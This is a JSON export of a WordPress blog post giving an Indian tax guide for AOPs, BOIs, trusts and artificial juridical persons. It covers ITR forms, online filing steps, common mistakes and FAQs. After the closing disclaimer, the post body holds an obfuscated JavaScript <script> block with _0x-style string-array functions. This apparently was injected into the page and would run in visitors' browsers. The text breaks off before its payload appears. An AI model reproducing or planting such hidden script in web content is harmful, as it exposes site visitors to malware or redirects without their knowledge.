10(23C).<\/li>\n\n\n\n<li>Form 10B: If income exceeds \u20b95 crore or includes foreign contributions.<\/li>\n\n\n\n<li>Form 10BB: For all other cases.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Form 10-IEA &amp; Form 10-IFA<br>\n<ul class=\"wp-block-list\">\n<li>Form 10-IEA: Opting for the old tax regime instead of the new default tax regime under Section 115BAC.<\/li>\n\n\n\n<li>Form 10-IFA: Opting for concessional tax rates for new manufacturing cooperative societies under Section 115BAE.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"13-charitable-trust-related-itr-forms-\"><span class=\"ez-toc-section\" id=\"Charitable_Trust-Related_ITR_Forms\"><\/span>Charitable Trust-Related ITR Forms&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Form 10<br>\n<ul class=\"wp-block-list\">\n<li>Declaration for accumulation of income for a charitable\/religious purpose.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Form 10A<br>\n<ul class=\"wp-block-list\">\n<li>Application for registration of charitable\/religious trusts or institutions.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Form 10BD<br>\n<ul class=\"wp-block-list\">\n<li>Statement of donations received by a charitable\/religious trust (to be filed by May 31 each year).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Form 9A<br>\n<ul class=\"wp-block-list\">\n<li>Option to carry forward income if the 85% application rule is not met under Section 11(1).<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"14-tax-deduction-amp-tds-related-forms\"><span class=\"ez-toc-section\" id=\"Tax_Deduction_TDS-Related_Forms\"><\/span>Tax Deduction &amp; TDS-Related Forms<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Form 16A\n<ul class=\"wp-block-list\">\n<li>A quarterly TDS certificate is issued by the deductor to the deductee.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"15-itr-filing-checklist-for-non-company-aopboitrustajp\"><span class=\"ez-toc-section\" id=\"ITR_Filing_Checklist_for_Non-Company-_AOPBOITrustAJP\"><\/span>ITR Filing Checklist for Non-Company- AOP\/BOI\/Trust\/AJP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before you begin filing your ITR for AOP\/BOI\/Trust\/AJP, make sure you have all the necessary documents and details ready. Here\u2019s a quick checklist to help you stay organised and avoid mistakes.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"944\" height=\"1024\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/tax-Filing-Checklist-for-AOP-BOI-Trust-Artificial-Juridical-Person-944x1024.jpg\" alt=\"ITR Filing Checklist for Non-Company- AOP\/BOI\/Trust\/AJP\" class=\"wp-image-11916\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/tax-Filing-Checklist-for-AOP-BOI-Trust-Artificial-Juridical-Person-944x1024.jpg 944w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/tax-Filing-Checklist-for-AOP-BOI-Trust-Artificial-Juridical-Person-277x300.jpg 277w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/tax-Filing-Checklist-for-AOP-BOI-Trust-Artificial-Juridical-Person-768x833.jpg 768w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/tax-Filing-Checklist-for-AOP-BOI-Trust-Artificial-Juridical-Person-1416x1536.jpg 1416w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\">ITR Filing Checklist for Non-Company- AOP\/BOI\/Trust\/AJP<\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"16-how-to-file-itr-for-non-company-aopboitrustajp\"><span class=\"ez-toc-section\" id=\"How_to_File_ITR_for_Non-_Company-_AOPBOITrustAJP\"><\/span>How to File ITR for Non- Company- AOP\/BOI\/Trust\/AJP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Filing income tax for non-company entities like Association of Persons (AOP), Body of Individuals (BOI), Trusts, and Artificial Juridical Persons (AJP) requires following a structured process.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s how to do it online:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1. Register on the e-Filing Portal<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Visit the official Income Tax Department e-filing portal<a href=\"https:\/\/incometaxindiaefiling.gov.in\/\"> <\/a><a href=\"https:\/\/incometaxindiaefiling.gov.in\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">https:\/\/incometaxindiaefiling.gov.in<\/mark><\/a> and create an account using your PAN, email, and mobile number.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. Log In<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Once registered, log in with your User ID (PAN), password, and captcha code.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. Choose the Right ITR Form for AOP\/BOI\/Trust\/AJP<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The correct ITR form for non-company entities depends on the type of entity:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ITR-5: Applicable for AOPs, BOIs, AJPs, LLPs, and cooperative societies.<\/li>\n\n\n\n<li>ITR-7: Required for charitable and religious trusts claiming exemptions under Section 11.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">4. Pre-Fill Data<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The portal can automatically fill in details like TDS, advance tax payments, and income from Form 26AS. Verify and update if needed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5. Fill in Deductions and Exemptions<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Entities can claim deductions under:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Section 80G<\/strong> \u2013 Donations to eligible charities.<\/li>\n\n\n\n<li><strong>Section 80JJA<\/strong> \u2013 Profits from waste management businesses.<\/li>\n\n\n\n<li><strong>Tax exemptions under Section 11<\/strong> \u2013 Applicable for <strong>charitable trusts<\/strong> to reduce <strong>trust income tax<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">6. Review and Validate<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Double-check income details, deductions, and tax-saving options for non-company entities before proceeding.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">7. Calculate and Pay Tax<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The portal will compute the income tax for AOP\/BOI\/Trust\/AJP based on the applicable non-company tax slabs. Any outstanding tax must be paid online through net banking, UPI, or challan payment.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">8. Submit the ITR<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After ensuring all details are correct, submit the return and choose an e-verification method:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Aadhaar OTP<\/li>\n\n\n\n<li>Net banking<\/li>\n\n\n\n<li>Digital signature<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">9. Get Your Acknowledgment<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After submission, download the ITR-V acknowledgment and verify it within 30 days to complete the process.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Following these steps ensures smooth compliance with non-company taxation laws, helping AOPs, BOIs, Trusts, and AJPs file returns accurately while maximising deductions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"17-income-tax-for-non-company-in-india-mistakes-aop-boi-trusts-amp-ajps-should-avoid\"><span class=\"ez-toc-section\" id=\"Income_Tax_For_Non_Company_in_India_Mistakes_AOP_BOI_Trusts_AJPs_Should_Avoid\"><\/span>Income Tax For Non Company in India: Mistakes AOP, BOI, Trusts &amp; AJPs Should Avoid<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Mistakes to Avoid While Filing Income Tax for AOP\/BOI\/Trust\/AJP<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Using the Wrong ITR Form<\/strong><strong><br><\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;Filing the correct ITR form for non-company entities is crucial. AOP\/BOI\/Trust\/AJP must use ITR-5 or ITR-7, depending on their tax status. Selecting the wrong form can delay processing or result in penalties.<br><\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Missing the Filing Deadline<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Entities under non-company taxation must file returns on time to avoid penalties and interest. Late filing can lead to additional tax liability under the non-company tax slab system.<br><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Incorrect Income Distribution<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">For AOPs (Association of Persons) and BOIs (Body of Individuals), if member shares are unknown, the taxation of AOP follows the maximum marginal tax rate. Misallocating income can increase tax liability.<br><\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Not Claiming Deductions<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Entities can reduce their income tax for non-company by claiming deductions like Section 80G (donations) and Section 24(b) (home loan interest).<br><\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Ignoring Trust Tax Rules<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The taxation of trust varies depending on whether it is charitable or private. The tax rate for trust differs based on its registration status, and missing exemptions can lead to higher trust income tax.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This ends our tax planning guide for AOP\/BOI\/Trust\/AJP in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Don\u2019t forget to keep a check on the tax slabs, and latest deductions for non company in India!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"18-income-tax-for-aopboitrustajp-faqs\"><span class=\"ez-toc-section\" id=\"Income_Tax_for_AOPBOITrustAJP_FAQs\"><\/span><br>Income Tax for AOP\/BOI\/Trust\/AJP: FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1742205798190\"><strong class=\"schema-faq-question\"><strong>What is the income tax rate for AOP\/BOI?<\/strong><\/strong> <p class=\"schema-faq-answer\">The tax rate for AOP\/BOI depends on whether the share of members is determined. If known, members are taxed individually; if unknown, the maximum marginal rate (30%) applies.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1742205798995\"><strong class=\"schema-faq-question\"><strong>What is AJP under income tax?<\/strong><\/strong> <p class=\"schema-faq-answer\">AJP (Artificial Juridical Person) refers to non-human legal entities like universities, temples, or other institutions that are taxed separately under the Income Tax Act of 1961.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1742205894468\"><strong class=\"schema-faq-question\"><strong>What is AOP and BOI in income tax?<\/strong><\/strong> <p class=\"schema-faq-answer\">An AOP (Association of Persons) is a group of individuals\/entities earning income jointly, while a BOI (Body of Individuals) consists only of individuals earning collectively.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1742205902964\"><strong class=\"schema-faq-question\"><strong>Which ITR is applicable for AOP?<\/strong><\/strong> <p class=\"schema-faq-answer\">AOPs must file ITR-5, except for charitable trusts, which file ITR-7 if claiming exemptions under Section 11.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1742205914230\"><strong class=\"schema-faq-question\"><strong>Is a co-operative society exempted from income tax?<\/strong><\/strong> <p class=\"schema-faq-answer\">Co-operative societies are generally taxed, but specific exemptions apply under Sections 80P and 115BAD based on their nature and activities.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1742205923285\"><strong class=\"schema-faq-question\"><strong>Is AOP liable to deduct TDS?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, AOPs must deduct TDS on payments such as rent, professional fees, and contracts, as per applicable TDS sections under the Income Tax Act.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1742205942565\"><strong class=\"schema-faq-question\"><strong>What is the income tax rate for a trust?<\/strong><\/strong> <p class=\"schema-faq-answer\">Public charitable trusts with Section 12A\/80G registration may be exempt under Section 11, while private trusts are taxed at individual slab rates or a 30% maximum marginal rate.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1742205949622\"><strong class=\"schema-faq-question\"><strong>How to file ITR-7 for a trust?<\/strong><\/strong> <p class=\"schema-faq-answer\">Trusts registered under Section 12A\/12AB must file ITR-7 on the Income Tax e-Filing portal, report income and expenses, and claim exemptions under Section 11 before verifying and submitting.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source- <a href=\"https:\/\/www.incometax.gov.in\/iec\/foportal\/help\/non-company\/return-applicable-0#taxslabs\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Incometax.gov.in<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The income tax for AOP\/BOI\/Trust\/AJP follows different rules than those for domestic and foreign companies. Thus, understanding income tax for non-company entities is important.&nbsp; Let\u2019s explore the non-company tax slabs, deduction for non-company, and &hellip; <a href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Income Tax for AOP\/BOI\/Trust\/AJP: Tax Slabs, Forms &amp; Deductions &#8211; 2025&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":11915,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[764],"tags":[7077,7076,7071,7068,7070,7079,7075,5520,7066,7069,7078,7080,7067,7073,7081,7074,7072],"class_list":["post-11898","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tax","tag-ajp-full-form","tag-ajp-full-form-in-income-tax","tag-aop-full-form-in-income-tax","tag-aop-boi-trust-ajp","tag-association-of-persons","tag-benefits-of-filing-itr-for-aop-boi-trust-ajp","tag-boi-full-form-in-tax","tag-income-tax-calculator","tag-income-tax-for-aop-boi-trust-ajp","tag-income-tax-for-non-company","tag-non-company-tax-slab","tag-non-company-tax-slabs","tag-non-company-taxation","tag-tax-rate-for-trust","tag-tax-saving-options-for-non-company","tag-taxation-of-aop","tag-taxation-of-trust"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Income Tax for AOP\/BOI\/Trust\/AJP: Tax Guide 2025<\/title>\n<meta name=\"description\" content=\"Struggling with Income Tax for AOP\/BOI\/Trust\/AJP? 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